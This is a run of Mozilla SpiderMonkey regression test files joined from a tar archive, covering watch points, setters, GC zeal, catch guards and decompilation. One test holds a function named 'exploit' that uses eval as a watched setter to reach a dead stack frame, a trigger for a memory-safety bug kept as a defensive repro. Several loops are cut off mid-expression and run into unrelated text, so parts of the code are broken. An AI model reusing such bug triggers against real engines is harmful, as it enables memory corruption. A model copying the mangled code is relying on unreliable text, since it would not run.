Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 355982; var summary = 'Script("") should not fail'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); expect = 'No Error'; actual = 'No Error'; try { if (typeof Script == 'undefined') { print('Test skipped. Script not defined.'); } else { Script(''); } } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-390597.js0000664000175000017500000000221012106270663023047 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 390597; var summary = 'watch point + eval-as-setter allows access to dead JSStackFrame'; var actual = 'No Crash'; var expect = 'No Crash'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); function exploit() { try { var obj = this, args = null; obj.__defineSetter__("evil", eval); obj.watch("evil", function() { return "args = arguments;"; }); obj.evil = null; eval("print(args[0]);"); } catch(ex) { print('Caught ' + ex); } } exploit(); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-396326.js0000664000175000017500000000265112106270663023054 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 396326; var summary = 'Do not assert trying to disassemble get(var|arg) prop'; var actual = 'No Crash'; var expect = 'No Crash'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); if (typeof dis == 'undefined') { print('disassembly not supported. test skipped.'); reportCompare(expect, actual, summary); } else { function f1() { var v; return v.prop }; dis(f1); reportCompare(expect, actual, summary + ': function f1() { var v; return v.prop };'); function f2(arg) { return arg.prop }; dis(f2); reportCompare(expect, actual, summary + ': function f2(arg) { return arg.prop };'); function f3() { return this.prop }; dis(f3); reportCompare(expect, actual, summary + ': function f3() { return this.prop };'); } exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/shell.js0000664000175000017500000000000012106270663021721 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/js1_5/extensions/regress-394967.js0000664000175000017500000000203312106270663023057 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 394967; var summary = 'Do not assert: !JSVAL_IS_PRIMITIVE(vp[1])'; var actual = 'No Crash'; var expect = 'No Crash'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); if (typeof evalcx == 'undefined') { print('Skipping. This test requires evalcx.'); } else { var sandbox = evalcx(""); try { evalcx("(1)()", sandbox); } catch(ex) { } } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-333541.js0000664000175000017500000000242212106270663023036 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 333541; var summary = '1..toSource()'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); printStatus (summary); function a(){ return 1..toSource(); } try { expect = 'function a() {\n return 1..toSource();\n}'; actual = a.toString(); compareSource(expect, actual, summary + ': 1'); } catch(ex) { actual = ex + ''; reportCompare(expect, actual, summary + ': 1'); } try { expect = 'function a() {return 1..toSource();}'; actual = a.toSource(); compareSource(expect, actual, summary + ': 2'); } catch(ex) { actual = ex + ''; reportCompare(expect, actual, summary + ': 2'); } expect = a; actual = a.valueOf(); reportCompare(expect, actual, summary + ': 3'); try { expect = 'function a() {\n return 1..toSource();\n}'; actual = "" + a; compareSource(expect, actual, summary + ': 4'); } catch(ex) { actual = ex + ''; reportCompare(expect, actual, summary + ': 4'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-472787.js0000775000175000017500000000141712106270663023064 0ustar sstanglsstangl// |reftest| skip-if(Android) /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 472787; var summary = 'Do not hang with gczeal, watch and concat'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); printStatus (summary); this.__defineSetter__("x", Math.sin); this.watch("x", '' .concat); if (typeof gczeal == 'function') { gczeal(2); } x = 1; if (typeof gczeal == 'function') { gczeal(0); } reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/extensions/regress-352604.js0000664000175000017500000000165712106270663023050 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 352604; var summary = 'Do not assert: !OBJ_GET_PROTO(cx, ctor)'; var actual = 'No Crash'; var expect = 'No Crash'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); function f() {} delete Function; var g = function () {}; expect = f.__proto__; actual = g.__proto__; reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-365869.js0000664000175000017500000000350512106270663023063 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 365869; var summary = 'strict warning for object literal with duplicate propery names'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); if (!options().match(/strict/)) { options('strict'); } if (!options().match(/werror/)) { options('werror'); } try { expect = 'SyntaxError: property name a appears more than once in object literal'; eval('({a:4, a:5})'); // syntax warning, need to eval to catch actual = 'No warning'; } catch(ex) { actual = ex + ''; print(ex); } reportCompare(expect, actual, summary); print('test crash from bug 371292 Comment 3'); try { expect = 'SyntaxError: property name 1 appears more than once in object literal'; eval('({1:1, 1:2})'); // syntax warning, need to eval to catch actual = 'No warning'; } catch(ex) { actual = ex + ''; print(ex); } reportCompare(expect, actual, summary); print('test crash from bug 371292 Comment 9'); try { expect = "TypeError: can't redefine non-configurable property '5'"; "012345".__defineSetter__(5, function(){}); } catch(ex) { actual = ex + ''; print(ex); } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-465276.js0000664000175000017500000000173112106270663023053 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 465276; var summary = '((1 * (1))|""'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); jit(true); expect = '[1, 1, 1, 1, 1, 1, 1, 1, 1, 1]'; empty = []; out = []; for (var j=0;j<10;++j) { empty[42]; out.push((1 * (1)) | ""); } print(actual = uneval(out)); jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-327608.js0000664000175000017500000000224312106270663023046 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 327608; var summary = 'Do not assume we will find the prototype property'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); printStatus (summary); print('This test runs only in the browser'); function countProps(obj) { var c; for (var prop in obj) ++c; return c; } function init() { var inp = document.getElementsByTagName("input")[0]; countProps(inp); gc(); var blurfun = inp.blur; blurfun.__proto__ = null; countProps(blurfun); reportCompare(expect, actual, summary); gDelayTestDriverEnd = false; jsTestDriverEnd(); } if (typeof window != 'undefined') { // delay test driver end gDelayTestDriverEnd = true; document.write(''); window.addEventListener("load", init, false); } else { reportCompare(expect, actual, summary); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-452168.js0000664000175000017500000000217612106270663023053 0ustar sstanglsstangl// |reftest| skip-if(Android) /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 452168; var summary = 'Do not crash with gczeal 2, JIT: @ avmplus::List or @ nanojit::LirBuffer::validate'; var actual = 'No Crash'; var expect = 'No Crash'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); if (typeof gczeal == 'undefined') { expect = actual = 'Test requires gczeal, skipped.'; } else { jit(true); gczeal(2); var a, b; gczeal(2); (function() { for (var p in this) { } })(); gczeal(0); jit(false); } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-313763.js0000664000175000017500000000230712106270663023044 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 313763; var summary = 'Root jsarray.c creatures'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); printStatus (summary); printStatus ('This bug requires TOO_MUCH_GC'); var N = 0x80000002; var array = Array(N); array[N - 1] = 1; array[N - 2] = 2; // Set getter not to wait until engine loops through 2^31 holes in the array. var LOOP_TERMINATOR = "stop_long_loop"; array.__defineGetter__(N - 2, function() { throw "stop_long_loop"; }); var prepared_string = String(1); array.__defineGetter__(N - 1, function() { var tmp = prepared_string; prepared_string = null; return tmp; }) try { array.unshift(1); } catch (e) { if (e !== LOOP_TERMINATOR) throw e; } var expect = "1"; var actual = array[N]; printStatus(expect === actual); reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/extensions/regress-564577.js0000664000175000017500000000363312106270663023062 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* * Any copyright is dedicated to the Public Domain. * http://creativecommons.org/licenses/publicdomain/ * Contributor: Matthew Draper */ var gTestfile = 'regress-564577.js'; //----------------------------------------------------------------------------- var BUGNUMBER = 564577; var summary = '__noSuchMethod__ when property exists'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); var o = { aaa: undefined, bbb: null, ccc: 77, ddd: 'foo', eee: {}, fff: /./, __noSuchMethod__: function (id, args) { return(id + '('+args.join(',')+') ' + this[id]); } }; status = summary + ' ' + inSection(1) + ' '; actual = o.aaa(); expect = 'aaa() undefined'; reportCompare(expect, actual, status); status = summary + ' ' + inSection(2) + ' '; actual = o.bbb(); expect = 'bbb() null'; reportCompare(expect, actual, status); status = summary + ' ' + inSection(3) + ' '; actual = o.ccc(); expect = 'ccc() 77'; reportCompare(expect, actual, status); status = summary + ' ' + inSection(4) + ' '; actual = o.ddd(); expect = 'ddd() foo'; reportCompare(expect, actual, status); status = summary + ' ' + inSection(5) + ' '; try { actual = o.eee(); } catch(e) { actual = e + ''; } expect = 'TypeError: o.eee is not a function'; reportCompare(expect, actual, status); status = summary + ' ' + inSection(6) + ' '; try { actual = o.fff('xyz') + ''; } catch(e) { actual = e + ''; } expect = 'TypeError: o.fff is not a function'; reportCompare(expect, actual, status); exitFunc('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-104077.js0000664000175000017500000001014412106270663023036 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /* * * Date: 10 October 2001 * SUMMARY: Regression test for Bugzilla bug 104077 * See http://bugzilla.mozilla.org/show_bug.cgi?id=104077 * "JS crash: with/finally/return" * * Also http://bugzilla.mozilla.org/show_bug.cgi?id=120571 * "JS crash: try/catch/continue." * * SpiderMonkey crashed on this code - it shouldn't. * * NOTE: the finally-blocks below should execute even if their try-blocks * have return or throw statements in them: * * ------- Additional Comment #76 From Mike Shaver 2001-12-07 01:21 ------- * finally trumps return, and all other control-flow constructs that cause * program execution to jump out of the try block: throw, break, etc. Once you * enter a try block, you will execute the finally block after leaving the try, * regardless of what happens to make you leave the try. * */ //----------------------------------------------------------------------------- var UBound = 0; var BUGNUMBER = 104077; var summary = "Just testing that we don't crash on with/finally/return -"; var status = ''; var statusitems = []; var actual = ''; var actualvalues = []; var expect= ''; var expectedvalues = []; function addValues_3(obj) { var sum = 0; with (obj) { try { sum = arg1 + arg2; with (arg3) { while (sum < 10) { try { if (sum > 5) return sum; sum += 1; } catch (e) { sum += 1; print(e); } } } } finally { try { sum +=1; print("In finally block of addValues_3() function: sum = " + sum); } catch (e if e == 42) { sum +=1; print('In finally catch block of addValues_3() function: sum = ' + sum + ', e = ' + e); } finally { sum +=1; print("In finally finally block of addValues_3() function: sum = " + sum); return sum; } } } } status = inSection(9); obj = new Object(); obj.arg1 = 1; obj.arg2 = 2; obj.arg3 = new Object(); obj.arg3.a = 10; obj.arg3.b = 20; actual = addValues_3(obj); expect = 8; captureThis(); function addValues_4(obj) { var sum = 0; with (obj) { try { sum = arg1 + arg2; with (arg3) { while (sum < 10) { try { if (sum > 5) return sum; sum += 1; } catch (e) { sum += 1; print(e); } } } } finally { try { sum += 1; print("In finally block of addValues_4() function: sum = " + sum); } catch (e if e == 42) { sum += 1; print("In 1st finally catch block of addValues_4() function: sum = " + sum + ", e = " + e); } catch (e if e == 43) { sum += 1; print("In 2nd finally catch block of addValues_4() function: sum = " + sum + ", e = " + e); } finally { sum += 1; print("In finally finally block of addValues_4() function: sum = " + sum); return sum; } } } } status = inSection(10); obj = new Object(); obj.arg1 = 1; obj.arg2 = 2; obj.arg3 = new Object(); obj.arg3.a = 10; obj.arg3.b = 20; actual = addValues_4(obj); expect = 8; captureThis(); //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function captureThis() { statusitems[UBound] = status; actualvalues[UBound] = actual; expectedvalues[UBound] = expect; UBound++; } function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); for (var i=0; i ulimit -s 100 ~/w/js/x> js fintest.js Segmentation fault ~/w/js/x> js -S $((20*1024)) fintest.js Segmentation fault ~/w/js/x> js -S $((15*1024)) fintest.js fintest.js:19: InternalError: too much recursion * * After playing with numbers it seems that while processing try/finally the * recursion in js_Emit takes 10 times more space the corresponding recursion * in the parser." * * * Note the use of the new -S option to the JS shell to limit stack size. * See http://bugzilla.mozilla.org/show_bug.cgi?id=225061. This in turn * can be passed to the JS shell by the test driver's -o option, as in: * * perl jsDriver.pl -e smdebug -fTEST.html -o "-S 100" -l js1_5/Regress * */ //----------------------------------------------------------------------------- var UBound = 0; var BUGNUMBER = 226507; var summary = 'Testing for recursion check in js_EmitTree'; var status = ''; var statusitems = []; var actual = ''; var actualvalues = []; var expect= ''; var expectedvalues = []; /* * With stack limit 100K on Linux debug build even N=30 already can cause * stack overflow; use 35 to trigger it for sure. */ var N = 350; var counter = 0; function f() { ++counter; } /* * Example: if N were 3, this is what |source| * would end up looking like: * * try { f(); } finally { * try { f(); } finally { * try { f(); } finally { * f(1,1,1,1); * }}} * */ var source = "".concat( repeat_str("try { f(); } finally {\n", N), "f(", repeat_str("1,", N), "1);\n", repeat_str("}", N)); // Repeat it for additional stress testing source += source; /* * In Rhino, eval() always uses interpreted mode. * To use compiled mode, use Script.exec() instead. */ if (typeof Script == 'undefined') { print('Test skipped. Script not defined.'); expect = actual = 0; } else { try { var script = Script(source); script(); status = inSection(1); actual = counter; expect = (N + 1) * 2; } catch(ex) { actual = ex + ''; } } addThis(); //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function repeat_str(str, repeat_count) { var arr = new Array(--repeat_count); while (repeat_count != 0) arr[--repeat_count] = str; return str.concat.apply(str, arr); } function addThis() { statusitems[UBound] = status; actualvalues[UBound] = actual; expectedvalues[UBound] = expect; UBound++; } function test() { enterFunc('test'); printBugNumber(BUGNUMBER); printStatus(summary); for (var i=0; i false, indeed ! => false. // 3. Missing append or push for strings (if append, then we'd want append for // arrays too). // 4. Missing slice operator syntax s[i:j]. // 5. Lack of + for array concatenation. String.prototype.push = function (str) { return this + str; }; function permute(list) { if (!list.length) // shuffle any sequence return [list]; // empty sequence var res = []; for (var i = 0, n = list.length; i < n; i++) { // delete current node var rest = list.slice(0, i).concat(list.slice(i+1)); for each (var x in permute(rest)) // permute the others res.push(list.slice(i, i+1).concat(x)); // add node at front } return res; } function subset(list, size) { if (size == 0 || !list.length) // order matters here return [list.slice(0, 0)]; // an empty sequence var result = []; for (var i = 0, n = list.length; i < n; i++) { var pick = list.slice(i, i+1); // sequence slice var rest = list.slice(0, i).concat(list.slice(i+1)); // keep [:i] part for each (var x in subset(rest, size-1)) result.push(pick.concat(x)); } return result; } function combo(list, size) { if (size == 0 || !list.length) // order doesn't matter return [list.slice(0, 0)]; // xyz == yzx var result = []; for (var i = 0, n = (list.length - size) + 1; i < n; i++) { // iff enough left var pick = list.slice(i, i+1); var rest = list.slice(i+1); // drop [:i] part for each (var x in combo(rest, size - 1)) result.push(pick.concat(x)); } return result; } // Generate all subsets of distinct binary operators and join them from left // to right, parenthesizing minimally. Decompile, recompile, compress spaces // and compare to test correct parenthesization. // load("permcomb.js"); var bops = [ ["=", "|=", "^=", "&=", "<<=", ">>=", ">>>=", "+=", "-=", "*=", "/=", "%="], ["||"], ["&&"], ["|"], ["^"], ["&"], ["==", "!=", "===", "!=="], ["<", "<=", ">=", ">", "in", "instanceof"], ["<<", ">>", ">>>"], ["+", "-"], ["*", "/", "%"], ]; var prec = {}; var aops = []; for (var i = 0; i < bops.length; i++) { for (var j = 0; j < bops[i].length; j++) { var k = bops[i][j]; prec[k] = i; aops.push(k); } } // Theoretically all subsets of size 2 should be enough to test, but in case // there's some large-scale bug, try up to 5 (or higher? The cost in memory is // factorially explosive). next_subset: for (i = 2; i < 5; i++) { var sets = subset(aops, i); gc(); for each (var set in sets) { //print('for each set in sets: ' + (uneval(set)) ); var src = "(function () {"; for (j in set) { var op = set[j], op2 = set[j-1]; // Precedence 0 is for assignment ops, which are right- // associative, so don't force left associativity using // parentheses. if (prec[op] && prec[op] < prec[op2]) src += "("; } src += "x "; for (j in set) { var op = set[j], op2 = set[j+1]; // Parenthesize only if not right-associative (precedence 0) and // the next op is higher precedence than current. var term = (prec[op] && prec[op] < prec[op2]) ? " x)" : " x"; src += op + term; if (j < set.length - 1) src += " "; } src += ";})"; try { var ref = uneval(eval(src)).replace(/\s+/g, ' '); if (ref != src) { actual += "BROKEN! input: " + src + " output: " + ref + " "; print("BROKEN! input: " + src + " output: " + ref); break next_subset; } } catch (e) {} } } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-351102-02.js0000664000175000017500000000207512106270663023252 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 351102; var summary = 'try/catch-guard/finally GC issues'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); var f; f = function () { var a = null; try { a(); } catch (e) { } return false; }; try { throw 1; } catch (e if f()) { } catch (e if e == 1) { print("GOOD"); } catch (e) { print("BAD: "+e); } reportCompare(expect, actual, summary + ': 2'); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-365692.js0000664000175000017500000000171212106270663023053 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 365692; var summary = 'getter/setter bytecodes should support atoms over 64k'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); printStatus (summary); function g() { return 10; } try { var N = 100*1000; var src = 'var x = ["'; var array = Array(N); for (var i = 0; i != N; ++i) array[i] = i; src += array.join('","')+'"]; x.a getter = g; return x.a;'; var f = Function(src); if (f() != 10) throw "Unexpected result"; } catch(ex) { if (ex == "Unexpected result") { actual = ex; } } reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/extensions/regress-178722.js0000664000175000017500000000473312106270663023055 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /* * * Date: 06 November 2002 * SUMMARY: arr.sort() should not output |undefined| when |arr| is empty * See http://bugzilla.mozilla.org/show_bug.cgi?id=178722 * * ECMA-262 Ed.3: 15.4.4.11 Array.prototype.sort (comparefn) * * 1. Call the [[Get]] method of this object with argument "length". * 2. Call ToUint32(Result(1)). * 3. Perform an implementation-dependent sequence of calls to the [[Get]], * [[Put]], and [[Delete]] methods of this object, etc. etc. * 4. Return this object. * * * Note that sort() is done in-place on |arr|. In other words, sort() is a * "destructive" method rather than a "functional" method. The return value * of |arr.sort()| and |arr| are the same object. * * If |arr| is an empty array, the return value of |arr.sort()| should be * an empty array, not the value |undefined| as was occurring in bug 178722. * */ //----------------------------------------------------------------------------- var UBound = 0; var BUGNUMBER = 178722; var summary = 'arr.sort() should not output |undefined| when |arr| is empty'; var status = ''; var statusitems = []; var actual = ''; var actualvalues = []; var expect= ''; var expectedvalues = []; var arr; // create empty array or pseudo-array objects in various ways function f () {return arguments}; var arr5 = f(); arr5.__proto__ = Array.prototype; status = inSection(5); arr = arr5.sort(); actual = arr instanceof Array && arr.length === 0 && arr === arr5; expect = true; addThis(); // now do the same thing, with non-default sorting: function g() {return 1;} status = inSection('5a'); arr = arr5.sort(g); actual = arr instanceof Array && arr.length === 0 && arr === arr5; expect = true; addThis(); //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function addThis() { statusitems[UBound] = status; actualvalues[UBound] = actual; expectedvalues[UBound] = expect; UBound++; } function test() { enterFunc('test'); printBugNumber(BUGNUMBER); printStatus(summary); for (var i=0; i", t._y, "y prototype check"); reportCompare ("got ", t.y, "y getter, before set"); t.y = "new y"; reportCompare ("got new y", t.y, "y getter, after set"); t.y = 2; reportCompare (2, t.y, "y getter, after numeric set"); var d = new Date(); t.y = d; reportCompare (d, t.y, "y getter, after date set"); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-429264.js0000664000175000017500000000201412106270663023043 0ustar sstanglsstangl// |reftest| require-or(debugMode,skip) /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 429264; var summary = 'Do not assert: top < ss->printer->script->depth'; var actual = 'No Crash'; var expect = 'No Crash'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); function f() { for(; 1; ) { } } if (typeof trap == 'function' && typeof setDebug == 'function') { setDebug(true); trap(f, 0, ""); } f + ''; reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/catchguard-001-n.js0000664000175000017500000000152612106270663023466 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ DESCRIPTION = " the non-guarded catch should HAVE to appear last"; EXPECTED = "error"; test(); function test() { enterFunc ("test"); var EXCEPTION_DATA = "String exception"; var e; printStatus ("Catchguard syntax negative test."); try { throw EXCEPTION_DATA; } catch (e) /* the non-guarded catch should HAVE to appear last */ { } catch (e if true) { } catch (e if false) { } reportCompare('PASS', 'FAIL', "Illegally constructed catchguard should have thrown " + "an exception."); exitFunc ("test"); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-336409-2.js0000664000175000017500000000257612106270663023215 0ustar sstanglsstangl// |reftest| skip-if(!xulRuntime.shell&&((Android||(isDebugBuild&&xulRuntime.OS=="Linux")||xulRuntime.XPCOMABI.match(/x86_64/)))) silentfail slow -- can fail silently due to out of memory, bug 615011 - timeouts on slow debug Linux /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 336409; var summary = 'Integer overflow in js_obj_toSource'; var actual = 'No Crash'; var expect = /(No Crash|InternalError: allocation size overflow)/; printBugNumber(BUGNUMBER); printStatus (summary); expectExitCode(0); expectExitCode(5); function createString(n) { var l = n*1024*1024; var r = 'r'; while (r.length < l) { r = r + r; } return r; } try { var n = 128; printStatus('Creating ' + n + 'MB string'); var r = createString(n); printStatus('Done. length = ' + r.length); printStatus('Creating object'); var o = {f1: r, f2: r, f3: r,f4: r,f5: r, f6: r, f7: r, f8: r,f9: r}; printStatus('object.toSource()'); var rr = o.toSource(); printStatus('Done.'); } catch(ex) { actual = ex + ''; print(actual); } reportMatch(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/extensions/regress-313803.js0000664000175000017500000000141112106270663023032 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 313803; var summary = 'uneval() on func with embedded objects with getter or setter'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); printStatus (summary); var func = function ff() { obj = { get foo() { return "foo"; }}; return 1; }; actual = uneval(func); expect = '(function ff() {obj = {get foo () {return "foo";}};return 1;})'; compareSource(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/extensions/regress-358594-05.js0000664000175000017500000000172012106270663023277 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 358594; var summary = 'Do not crash on uneval(this).'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); // don't crash|assert f = function () { }; f.hhhhhhhhh = this; Object.defineProperty(this, "m", { set: f, 